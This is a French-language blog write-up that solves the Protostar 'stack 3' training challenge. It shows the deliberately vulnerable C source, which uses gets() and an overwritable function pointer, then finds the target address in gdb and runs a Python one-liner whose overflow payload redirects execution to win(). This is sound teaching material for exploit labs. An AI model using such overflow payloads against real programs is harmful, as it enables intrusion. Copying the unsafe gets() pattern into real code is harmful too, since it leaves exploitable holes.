Protostar – stack 3

Nous allons commencer le quatrième  challenge de la machine virtuelle protostar : stack 3 https://exploit-exercises.com/protostar/stack3/

Voici le code source :

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}
stack 3

 

Cette fois ci nous devons écraser le pointeur de fonction fp avec l’adresse de la fonction win afin qu’elle soit appelée après le printf à la ligne 22 :

fp();

Le reste n’est pas différent des challenges précédents , le buffer fait 64 octets .

Commençons par trouver l’adresse de win dans gdb :

user@protostar:/opt/protostar/bin$ gdb -q ./stack3
Reading symbols from /opt/protostar/bin/stack3…done.
(gdb) p win
$1 = {void (void)} 0x8048424 <win>
récupération de l'adresse de la fonction win

Il faut donc remplir le buffer et écraser la pointeur de fonction fp avec « \x24\x84\x04\x08 » qui est l’adresse 0x8048424 en little endian, l’adresse de la fonction win() .

Résolvons ce challenge :

user@protostar:/opt/protostar/bin$ python -c "print('A'*64+'\x24\x84\x04\x08')" | ./stack3
 calling function pointer, jumping to 0x08048424
 code flow successfully changed
exploitation

La phrase de la fonction win est bien affichée ça veut dire que le buffer overflow à fonctionné et nous avons bien rempli fp avec l’adresse de la fonction win .

j’espère que ce write-up vous aura plu , n’hésitez pas à ecrire des commentaires pour donner votrre avis , poser des questions , ou suggérer des idées d’articles à écrire !

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.